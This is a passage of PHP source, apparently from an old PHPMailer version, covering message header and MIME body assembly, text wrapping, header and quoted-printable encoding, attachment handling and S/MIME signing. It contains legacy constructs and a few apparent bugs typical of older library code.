2141 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2142 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2143 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2144 include($lang_path.'phpmailer.lang-en.php');
2145 } else {
2146 $this->SetError('Could not load language file');
2147 return false;
2148 }
2149 $this->language = $PHPMAILER_LANG;
2150
2151 return true;
2152 }
2153
2154 /////////////////////////////////////////////////
2155 // METHODS, MESSAGE CREATION
2156 /////////////////////////////////////////////////
2157
2158 /**
2159 * Creates recipient headers.
2160 * @access private
2161 * @return string
2162 */
2163 function AddrAppend($type, $addr) {
2164 $addr_str = $type . ': ';
2165 $addr_str .= $this->AddrFormat($addr[0]);
2166 if(count($addr) > 1) {
2167 for($i = 1; $i < count($addr); $i++) {
2168 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2169 }
2170 }
2171 $addr_str .= $this->LE;
2172
2173 return $addr_str;
2174 }
2175
2176 /**
2177 * Formats an address correctly.
2178 * @access private
2179 * @return string
2180 */
2181 function AddrFormat($addr) {
2182 if(empty($addr[1])) {
2183 $formatted = $this->SecureHeader($addr[0]);
2184 } else {
2185 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2186 }
2187
2188 return $formatted;
2189 }
2190
2191 /**
2192 * Wraps message for use with mailers that do not
2193 * automatically perform wrapping and for quoted-printable.
2194 * Original written by philippe.
2195 * @access private
2196 * @return string
2197 */
2198 function WrapText($message, $length, $qp_mode = false) {
2199 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2200 // If utf-8 encoding is used, we will need to make sure we don't
2201 // split multibyte characters when we wrap
2202 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2203
2204 $message = $this->FixEOL($message);
2205 if (substr($message, -1) == $this->LE) {
2206 $message = substr($message, 0, -1);
2207 }
2208
2209 $line = explode($this->LE, $message);
2210 $message = '';
2211 for ($i=0 ;$i < count($line); $i++) {
2212 $line_part = explode(' ', $line[$i]);
2213 $buf = '';
2214 for ($e = 0; $e<count($line_part); $e++) {
2215 $word = $line_part[$e];
2216 if ($qp_mode and (strlen($word) > $length)) {
2217 $space_left = $length - strlen($buf) - 1;
2218 if ($e != 0) {
2219 if ($space_left > 20) {
2220 $len = $space_left;
2221 if ($is_utf8) {
2222 $len = $this->UTF8CharBoundary($word, $len);
2223 } elseif (substr($word, $len - 1, 1) == "=") {
2224 $len--;
2225 } elseif (substr($word, $len - 2, 1) == "=") {
2226 $len -= 2;
2227 }
2228 $part = substr($word, 0, $len);
2229 $word = substr($word, $len);
2230 $buf .= ' ' . $part;
2231 $message .= $buf . sprintf("=%s", $this->LE);
2232 } else {
2233 $message .= $buf . $soft_break;
2234 }
2235 $buf = '';
2236 }
2237 while (strlen($word) > 0) {
2238 $len = $length;
2239 if ($is_utf8) {
2240 $len = $this->UTF8CharBoundary($word, $len);
2241 } elseif (substr($word, $len - 1, 1) == "=") {
2242 $len--;
2243 } elseif (substr($word, $len - 2, 1) == "=") {
2244 $len -= 2;
2245 }
2246 $part = substr($word, 0, $len);
2247 $word = substr($word, $len);
2248
2249 if (strlen($word) > 0) {
2250 $message .= $part . sprintf("=%s", $this->LE);
2251 } else {
2252 $buf = $part;
2253 }
2254 }
2255 } else {
2256 $buf_o = $buf;
2257 $buf .= ($e == 0) ? $word : (' ' . $word);
2258
2259 if (strlen($buf) > $length and $buf_o != '') {
2260 $message .= $buf_o . $soft_break;
2261 $buf = $word;
2262 }
2263 }
2264 }
2265 $message .= $buf . $this->LE;
2266 }
2267
2268 return $message;
2269 }
2270
2271 /**
2272 * Finds last character boundary prior to maxLength in a utf-8
2273 * quoted (printable) encoded string.
2274 * Original written by Colin Brown.
2275 * @access private
2276 * @param string $encodedText utf-8 QP text
2277 * @param int $maxLength find last character boundary prior to this length
2278 * @return int
2279 */
2280 function UTF8CharBoundary($encodedText, $maxLength) {
2281 $foundSplitPos = false;
2282 $lookBack = 3;
2283 while (!$foundSplitPos) {
2284 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2285 $encodedCharPos = strpos($lastChunk, "=");
2286 if ($encodedCharPos !== false) {
2287 // Found start of encoded character byte within $lookBack block.
2288 // Check the encoded byte value (the 2 chars after the '=')
2289 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2290 $dec = hexdec($hex);
2291 if ($dec < 128) { // Single byte character.
2292 // If the encoded char was found at pos 0, it will fit
2293 // otherwise reduce maxLength to start of the encoded char
2294 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2295 $maxLength - ($lookBack - $encodedCharPos);
2296 $foundSplitPos = true;
2297 } elseif ($dec >= 192) { // First byte of a multi byte character
2298 // Reduce maxLength to split at start of character
2299 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2300 $foundSplitPos = true;
2301 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2302 $lookBack += 3;
2303 }
2304 } else {
2305 // No encoded character found
2306 $foundSplitPos = true;
2307 }
2308 }
2309 return $maxLength;
2310 }
2311
2312 /**
2313 * Set the body wrapping.
2314 * @access private
2315 * @return void
2316 */
2317 function SetWordWrap() {
2318 if($this->WordWrap < 1) {
2319 return;
2320 }
2321
2322 switch($this->message_type) {
2323 case 'alt':
2324 /* fall through */
2325 case 'alt_attachments':
2326 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2327 break;
2328 default:
2329 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2330 break;
2331 }
2332 }
2333
2334 /**
2335 * Assembles message header.
2336 * @access private
2337 * @return string
2338 */
2339 function CreateHeader() {
2340 $result = '';
2341
2342 /* Set the boundaries */
2343 $uniq_id = md5(uniqid(time()));
2344 $this->boundary[1] = 'b1_' . $uniq_id;
2345 $this->boundary[2] = 'b2_' . $uniq_id;
2346
2347 $result .= $this->HeaderLine('Date', $this->RFCDate());
2348 if($this->Sender == '') {
2349 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2350 } else {
2351 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2352 }
2353
2354 /* To be created automatically by mail() */
2355 if($this->Mailer != 'mail') {
2356 if(count($this->to) > 0) {
2357 $result .= $this->AddrAppend('To', $this->to);
2358 } elseif (count($this->cc) == 0) {
2359 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2360 }
2361 if(count($this->cc) > 0) {
2362 $result .= $this->AddrAppend('Cc', $this->cc);
2363 }
2364 }
2365
2366 $from = array();
2367 $from[0][0] = trim($this->From);
2368 $from[0][1] = $this->FromName;
2369 $result .= $this->AddrAppend('From', $from);
2370
2371 /* sendmail and mail() extract Cc from the header before sending */
2372 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2373 $result .= $this->AddrAppend('Cc', $this->cc);
2374 }
2375
2376 /* sendmail and mail() extract Bcc from the header before sending */
2377 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2378 $result .= $this->AddrAppend('Bcc', $this->bcc);
2379 }
2380 if($replyto != "")
2381 {
2382 if(count($this->ReplyTo) > 0) {
2383 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2384 }
2385 }
2386 /* mail() sets the subject itself */
2387 if($this->Mailer != 'mail') {
2388 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2389 }
2390
2391 if($this->MessageID != '') {
2392 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2393 } else {
2394 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2395 }
2396 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2397 if($this->ConfirmReadingTo != '') {
2398 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2399 }
2400
2401 // Add custom headers
2402 for($index = 0; $index < count($this->CustomHeader); $index++) {
2403 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2404 }
2405 if (!$this->sign_key_file) {
2406 $result .= $this->HeaderLine('MIME-Version', '1.0');
2407 $result .= $this->GetMailMIME();
2408 }
2409
2410 return $result;
2411 }
2412
2413 /**
2414 * Returns the message MIME.
2415 * @access private
2416 * @return string
2417 */
2418 function GetMailMIME() {
2419 $result = '';
2420 switch($this->message_type) {
2421 case 'plain':
2422 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2423 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2424 break;
2425 case 'attachments':
2426 /* fall through */
2427 case 'alt_attachments':
2428 if($this->InlineImageExists()){
2429 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2430 } else {
2431 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2432 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2433 }
2434 break;
2435 case 'alt':
2436 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2437 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2438 break;
2439 }
2440
2441 if($this->Mailer != 'mail') {
2442 $result .= $this->LE.$this->LE;
2443 }
2444
2445 return $result;
2446 }
2447
2448 /**
2449 * Assembles the message body. Returns an empty string on failure.
2450 * @access private
2451 * @return string
2452 */
2453 function CreateBody() {
2454 $result = '';
2455 if ($this->sign_key_file) {
2456 $result .= $this->GetMailMIME();
2457 }
2458
2459 $this->SetWordWrap();
2460
2461 switch($this->message_type) {
2462 case 'alt':
2463 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2464 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2465 $result .= $this->LE.$this->LE;
2466 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2467 $result .= $this->EncodeString($this->Body, $this->Encoding);
2468 $result .= $this->LE.$this->LE;
2469 $result .= $this->EndBoundary($this->boundary[1]);
2470 break;
2471 case 'plain':
2472 $result .= $this->EncodeString($this->Body, $this->Encoding);
2473 break;
2474 case 'attachments':
2475 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2476 $result .= $this->EncodeString($this->Body, $this->Encoding);
2477 $result .= $this->LE;
2478 $result .= $this->AttachAll();
2479 break;
2480 case 'alt_attachments':
2481 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2482 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2483 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2484 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2485 $result .= $this->LE.$this->LE;
2486 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2487 $result .= $this->EncodeString($this->Body, $this->Encoding);
2488 $result .= $this->LE.$this->LE;
2489 $result .= $this->EndBoundary($this->boundary[2]);
2490 $result .= $this->AttachAll();
2491 break;
2492 }
2493
2494 if($this->IsError()) {
2495 $result = '';
2496 } else if ($this->sign_key_file) {
2497 $file = tempnam("", "mail");
2498 $fp = fopen($file, "w");
2499 fwrite($fp, $result);
2500 fclose($fp);
2501 $signed = tempnam("", "signed");
2502
2503 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2504 $fp = fopen($signed, "r");
2505 $result = fread($fp, filesize($this->sign_key_file));
2506 fclose($fp);
2507 } else {
2508 $this->SetError($this->Lang("signing").openssl_error_string());
2509 $result = '';
2510 }
2511
2512 unlink($file);
2513 unlink($signed);
2514 }
2515
2516 return $result;
2517 }
2518
2519 /**
2520 * Returns the start of a message boundary.
2521 * @access private
2522 */
2523 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2524 $result = '';
2525 if($charSet == '') {
2526 $charSet = $this->CharSet;
2527 }
2528 if($contentType == '') {
2529 $contentType = $this->ContentType;
2530 }
2531 if($encoding == '') {
2532 $encoding = $this->Encoding;
2533 }
2534 $result .= $this->TextLine('--' . $boundary);
2535 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2536 $result .= $this->LE;
2537 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2538 $result .= $this->LE;
2539
2540 return $result;
2541 }
2542
2543 /**
2544 * Returns the end of a message boundary.
2545 * @access private
2546 */
2547 function EndBoundary($boundary) {
2548 return $this->LE . '--' . $boundary . '--' . $this->LE;
2549 }
2550
2551 /**
2552 * Sets the message type.
2553 * @access private
2554 * @return void
2555 */
2556 function SetMessageType() {
2557 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2558 $this->message_type = 'plain';
2559 } else {
2560 if(count($this->attachment) > 0) {
2561 $this->message_type = 'attachments';
2562 }
2563 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2564 $this->message_type = 'alt';
2565 }
2566 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2567 $this->message_type = 'alt_attachments';
2568 }
2569 }
2570 }
2571
2572 /* Returns a formatted header line.
2573 * @access private
2574 * @return string
2575 */
2576 function HeaderLine($name, $value) {
2577 return $name . ': ' . $value . $this->LE;
2578 }
2579
2580 /**
2581 * Returns a formatted mail line.
2582 * @access private
2583 * @return string
2584 */
2585 function TextLine($value) {
2586 return $value . $this->LE;
2587 }
2588
2589 /////////////////////////////////////////////////
2590 // CLASS METHODS, ATTACHMENTS
2591 /////////////////////////////////////////////////
2592
2593 /**
2594 * Adds an attachment from a path on the filesystem.
2595 * Returns false if the file could not be found
2596 * or accessed.
2597 * @param string $path Path to the attachment.
2598 * @param string $name Overrides the attachment name.
2599 * @param string $encoding File encoding (see $Encoding).
2600 * @param string $type File extension (MIME) type.
2601 * @return bool
2602 */
2603 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2604 if(!@is_file($path)) {
2605 $this->SetError($this->Lang('file_access') . $path);
2606 return false;
2607 }
2608
2609 $filename = basename($path);
2610 if($name == '') {
2611 $name = $filename;
2612 }
2613
2614 $cur = count($this->attachment);
2615 $this->attachment[$cur][0] = $path;
2616 $this->attachment[$cur][1] = $filename;
2617 $this->attachment[$cur][2] = $name;
2618 $this->attachment[$cur][3] = $encoding;
2619 $this->attachment[$cur][4] = $type;
2620 $this->attachment[$cur][5] = false; // isStringAttachment
2621 $this->attachment[$cur][6] = 'attachment';
2622 $this->attachment[$cur][7] = 0;
2623
2624 return true;
2625 }
2626
2627 /**
2628 * Attaches all fs, string, and binary attachments to the message.
2629 * Returns an empty string on failure.
2630 * @access private
2631 * @return string
2632 */
2633 function AttachAll() {
2634 /* Return text of body */
2635 $mime = array();
2636
2637 /* Add all attachments */
2638 for($i = 0; $i < count($this->attachment); $i++) {
2639 /* Check for string attachment */
2640 $bString = $this->attachment[$i][5];
2641 if ($bString) {
2642 $string = $this->attachment[$i][0];
2643 } else {
2644 $path = $this->attachment[$i][0];
2645 }
2646
2647 $filename = $this->attachment[$i][1];
2648 $name = $this->attachment[$i][2];
2649 $encoding = $this->attachment[$i][3];
2650 $type = $this->attachment[$i][4];
2651 $disposition = $this->attachment[$i][6];
2652 $cid = $this->attachment[$i][7];
2653
2654 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2655 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2656 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2657
2658 if($disposition == 'inline') {
2659 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2660 }
2661
2662 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2663
2664 /* Encode as string attachment */
2665 if($bString) {
2666 $mime[] = $this->EncodeString($string, $encoding);
2667 if($this->IsError()) {
2668 return '';
2669 }
2670 $mime[] = $this->LE.$this->LE;
2671 } else {
2672 $mime[] = $this->EncodeFile($path, $encoding);
2673 if($this->IsError()) {
2674 return '';
2675 }
2676 $mime[] = $this->LE.$this->LE;
2677 }
2678 }
2679
2680 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2681
2682 return join('', $mime);
2683 }
2684
2685 /**
2686 * Encodes attachment in requested format. Returns an
2687 * empty string on failure.
2688 * @access private
2689 * @return string
2690 */
2691 function EncodeFile ($path, $encoding = 'base64') {
2692 if(!@$fd = fopen($path, 'rb')) {
2693 $this->SetError($this->Lang('file_open') . $path);
2694 return '';
2695 }
2696 $magic_quotes = get_magic_quotes_runtime();
2697 set_magic_quotes_runtime(0);
2698 $file_buffer = fread($fd, filesize($path));
2699 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2700 fclose($fd);
2701 set_magic_quotes_runtime($magic_quotes);
2702
2703 return $file_buffer;
2704 }
2705
2706 /**
2707 * Encodes string to requested format. Returns an
2708 * empty string on failure.
2709 * @access private
2710 * @return string
2711 */
2712 function EncodeString ($str, $encoding = 'base64') {
2713 $encoded = '';
2714 switch(strtolower($encoding)) {
2715 case 'base64':
2716 /* chunk_split is found in PHP >= 3.0.6 */
2717 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2718 break;
2719 case '7bit':
2720 case '8bit':
2721 $encoded = $this->FixEOL($str);
2722 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2723 $encoded .= $this->LE;
2724 break;
2725 case 'binary':
2726 $encoded = $str;
2727 break;
2728 case 'quoted-printable':
2729 $encoded = $this->EncodeQP($str);
2730 break;
2731 default:
2732 $this->SetError($this->Lang('encoding') . $encoding);
2733 break;
2734 }
2735 return $encoded;
2736 }
2737
2738 /**
2739 * Encode a header string to best of Q, B, quoted or none.
2740 * @access private
2741 * @return string
2742 */
2743 function EncodeHeader ($str, $position = 'text') {
2744 $x = 0;
2745
2746 switch (strtolower($position)) {
2747 case 'phrase':
2748 if (!preg_match('/[\200-\377]/', $str)) {
2749 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2750 $encoded = addcslashes($str, "\0..\37\177\\\"");
2751 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2752 return ($encoded);
2753 } else {
2754 return ("\"$encoded\"");
2755 }
2756 }
2757 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2758 break;
2759 case 'comment':
2760 $x = preg_match_all('/[()"]/', $str, $matches);
2761 /* Fall-through */
2762 case 'text':
2763 default:
2764 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2765 break;
2766 }
2767
2768 if ($x == 0) {
2769 return ($str);
2770 }
2771
2772 $maxlen = 75 - 7 - strlen($this->CharSet);
2773 /* Try to select the encoding which should produce the shortest output */
2774 if (strlen($str)/3 < $x) {
2775 $encoding = 'B';
2776 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2777 // Use a custom function which correctly encodes and wraps long
2778 // multibyte strings without breaking lines within a character
2779 $encoded = $this->Base64EncodeWrapMB($str);
2780 } else {
2781 $encoded = base64_encode($str);
2782 $maxlen -= $maxlen % 4;
2783 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2784 }
2785 } else {
2786 $encoding = 'Q';
2787 $encoded = $this->EncodeQ($str, $position);
2788 $encoded = $this->WrapText($encoded, $maxlen, true);
2789 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2790 }
2791
2792 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2793 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2794
2795 return $encoded;
2796 }
2797
2798 /**
2799 * Checks if a string contains multibyte characters.
2800 * @access private
2801 * @param string $str multi-byte text to wrap encode
2802 * @return bool
2803 */
2804 function HasMultiBytes($str) {
2805 if (function_exists('mb_strlen')) {
2806 return (strlen($str) > mb_strlen($str, $this->CharSet));
2807 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2808 return False;
2809 }
2810 }
2811
2812 /**
2813 * Correctly encodes and wraps long multibyte strings for mail headers
2814 * without breaking lines within a character.
2815 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2816 * @access private
2817 * @param string $str multi-byte text to wrap encode
2818 * @return string
2819 */
2820 function Base64EncodeWrapMB($str) {
2821 $start = "=?".$this->CharSet."?B?";
2822 $end = "?=";
2823 $encoded = "";
2824
2825 $mb_length = mb_strlen($str, $this->CharSet);
2826 // Each line must have length <= 75, including $start and $end
2827 $length = 75 - strlen($start) - strlen($end);
2828 // Average multi-byte ratio
2829 $ratio = $mb_length / strlen($str);
2830 // Base64 has a 4:3 ratio
2831 $offset = $avgLength = floor($length * $ratio * .75);
2832
2833 for ($i = 0; $i < $mb_length; $i += $offset) {
2834 $lookBack = 0;
2835
2836 do {
2837 $offset = $avgLength - $lookBack;
2838 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2839 $chunk = base64_encode($chunk);
2840 $lookBack++;
2841 }
2842 while (strlen($chunk) > $length);
2843
2844 $encoded .= $chunk . $this->LE;
2845 }
2846
2847 // Chomp the last linefeed
2848 $encoded = substr($encoded, 0, -strlen($this->LE));
2849 return $encoded;
2850 }
2851
2852 /**
2853 * Encode string to quoted-printable.
2854 * @access private
2855 * @return string
2856 */
2857 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2858 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2859 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2860 $eol = "\r\n";
2861 $escape = '=';
2862 $output = '';
2863 while( list(, $line) = each($lines) ) {
2864 $linlen = strlen($line);
2865 $newline = '';
2866 for($i = 0; $i < $linlen; $i++) {
2867 $c = substr( $line, $i, 1 );
2868 $dec = ord( $c );
2869 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2870 $c = '=2E';
2871 }
2872 if ( $dec == 32 ) {
2873 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2874 $c = '=20';
2875 } else if ( $space_conv ) {
2876 $c = '=20';
2877 }
2878 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2879 $h2 = floor($dec/16);
2880 $h1 = floor($dec%16);
2881 $c = $escape.$hex[$h2].$hex[$h1];
2882 }
2883 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2884 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2885 $newline = '';
2886 // check if newline first character will be point or not
2887 if ( $dec == 46 ) {
2888 $c = '=2E';
2889 }
2890 }
2891 $newline .= $c;
2892 } // end of for
2893 $output .= $newline.$eol;
2894 } // end of while
2895 return trim($output);
2896 }
2897
2898 /**
2899 * Encode string to q encoding.
2900 * @access private
2901 * @return string
2902 */
2903 function EncodeQ ($str, $position = 'text') {
2904 /* There should not be any EOL in the string */
2905 $encoded = preg_replace("[\r\n]", '', $str);
2906
2907 switch (strtolower($position)) {
2908 case 'phrase':
2909 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2910 break;
2911 case 'comment':
2912 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2913 case 'text':
2914 default:
2915 /* Replace every high ascii, control =, ? and _ characters */
2916 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2917 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2918 break;
2919 }
2920
2921 /* Replace every spaces to _ (more readable than =20) */
2922 $encoded = str_replace(' ', '_', $encoded);
2923
2924 return $encoded;
2925 }
2926
2927 /**
2928 * Adds a string or binary attachment (non-filesystem) to the list.
2929 * This method can be used to attach ascii or binary data,
2930 * such as a BLOB record from a database.
2931 * @param string $string String attachment data.
2932 * @param string $filename Name of the attachment.
2933 * @param string $encoding File encoding (see $Encoding).
2934 * @param string $type File extension (MIME) type.
2935 * @return void
2936 */
2937 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2938 /* Append to $attachment array */
2939 $cur = count($this->attachment);
2940 $this->attachment[$cur][0] = $string;
2941 $this->attachment[$cur][1] = $filename;
2942 $this->attachment[$cur][2] = $filename;
2943 $this->attachment[$cur][3] = $encoding;
2944 $this->attachment[$cur][4] = $type;
2945 $this->attachment[$cur][5] = true; // isString
2946 $this->attachment[$cur][6] = 'attachment';
2947 $this->attachment[$cur][7] = 0;
2948 }
2949
2950 /**
2951 * Adds an embedded attachment. This can include images, sounds, and
2952 * just about any other document. Make sure to set the $type to an
2953 * image type. For JPEG images use "image/jpeg" and for GIF images
2954 * use "image/gif".
2955 * @param string $path Path to the attachment.
2956 * @param string $cid Content ID of the attachment. Use this to identify
2957 * the Id for accessing the image in an HTML form.
2958 * @param string $name Overrides the attachment name.
2959 * @param string $encoding File encoding (see $Encoding).
2960 * @param string $type File extension (MIME) type.
2961 * @return bool
2962 */
2963 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2964
2965 if(!@is_file($path)) {
2966 $this->SetError($this->Lang('file_access') . $path);
2967 return false;
2968 }
2969
2970 $filename = basename($path);
2971 if($name == '') {
2972 $name = $filename;
2973 }
2974
2975 /* Append to $attachment array */
2976 $cur = count($this->attachment);
2977 $this->attachment[$cur][0] = $path;
2978 $this->attachment[$cur][1] = $filename;
2979 $this->attachment[$cur][2] = $name;
2980 $this->attachment[$cur][3] = $encoding;
2981 $this->attachment[$cur][4] = $type;
2982 $this->attachment[$cur][5] = false;
2983 $this->attachment[$cur][6] = 'inline';
2984 $this->attachment[$cur][7] = $cid;
2985
2986 return true;
2987 }
2988
2989 /**
2990 * Returns true if an inline attachment is present.
2991 * @access private
2992 * @return bool
2993 */
2994 function InlineImageExists() {
2995 $result = false;
2996 for($i = 0; $i < count($this->attachment); $i++) {
2997 if($this->attachment[$i][6] == 'inline') {
2998 $result = true;
2999 break;
3000 }
3001 }
3002
3003 return $result;
3004 }
3005
3006 /////////////////////////////////////////////////
3007 // CLASS METHODS, MESSAGE RESET
3008 /////////////////////////////////////////////////
3009
3010 /**
3011 * Clears all recipients assigned in the TO array. Returns void.
3012 * @return void
3013 */
3014 function ClearAddresses() {
3015 $this->to = array();
3016 }
3017
3018 /**
3019 * Clears all recipients assigned in the CC array. Returns void.
3020 * @return void
3021 */
3022 function ClearCCs() {
3023 $this->cc = array();
3024 }
3025
3026 /**
3027 * Clears all recipients assigned in the BCC array. Returns void.
3028 * @return void
3029 */
3030 function ClearBCCs() {
3031 $this->bcc = array();
3032 }
3033
3034 /**
3035 * Clears all recipients assigned in the ReplyTo array. Returns void.
3036 * @return void
3037 */
3038 function ClearReplyTos() {
3039 $this->ReplyTo = array();
3040 }
3041
3042 /**
3043 * Clears all recipients assigned in the TO, CC and BCC
3044 * array. Returns void.
3045 * @return void
3046 */
3047 function ClearAllRecipients() {
3048 $this->to = array();
3049 $this->cc = array();
3050 $this->bcc = array();
3051 }
3052
3053 /**
3054 * Clears all previously set filesystem, string, and binary
3055 * attachments. Returns void.
3056 * @return void
3057 */
3058 function ClearAttachments() {
3059 $this->attachment = array();
3060 }
3061
3062 /**
3063 * Clears all custom headers. Returns void.
3064 * @return void
3065 */
3066 function ClearCustomHeaders() {
3067 $this->CustomHeader = array();
3068 }
3069
3070 /////////////////////////////////////////////////
3071 // CLASS METHODS, MISCELLANEOUS
3072 /////////////////////////////////////////////////
3073
3074 /**
3075 * Adds the error message to the error container.
3076 * Returns void.
3077 * @access private
3078 * @return void
3079 */
3080 function SetError($msg) {
3081 $this->error_count++;
3082 $this->ErrorInfo = $msg;
3083 }
3084
3085 /**
3086 * Returns the proper RFC 822 formatted date.
3087 * @access private
3088 * @return string
3089 */
3090 function RFCDate() {
3091 $tz = date('Z');
3092 $tzs = ($tz < 0) ? '-' : '+';
3093 $tz = abs($tz);
3094 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
3095 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
3096
3097 return $result;
3098 }
3099
3100 /**
3101 * Returns the appropriate server variable. Should work with both
3102 * PHP 4.1.0+ as well as older versions. Returns an empty string
3103 * if nothing is found.
3104 * @access private
3105 * @return mixed
3106 */
3107 function ServerVar($varName) {
3108 global $HTTP_SERVER_VARS;
3109 global $HTTP_ENV_VARS;
3110
3111 if(!isset($_SERVER)) {
3112 $_SERVER = $HTTP_SERVER_VARS;
3113 if(!isset($_SERVER['REMOTE_ADDR'])) {
3114 $_SERVER = $HTTP_ENV_VARS; // must be Apache
3115 }
3116 }
3117
3118 if(isset($_SERVER[$varName])) {
3119 return $_SERVER[$varName];
3120 } else {
3121 return '';
3122 }
3123 }
3124
3125 /**
3126 * Returns the server hostname or 'localhost.localdomain' if unknown.
3127 * @access private
3128 * @return string
3129 */
3130 function ServerHostname() {
3131 if ($this->Hostname != '') {
3132 $result = $this->Hostname;
3133 } elseif ($this->ServerVar('SERVER_NAME') != '') {
3134 $result = $this->ServerVar('SERVER_NAME');
3135 } else {
3136 $result = 'localhost.localdomain';
3137 }
3138
3139 return $result;
3140 }
3141
3142 /**
3143 * Returns a message in the appropriate language.
3144 * @access private
3145 * @return string
3146 */
3147 function Lang($key) {
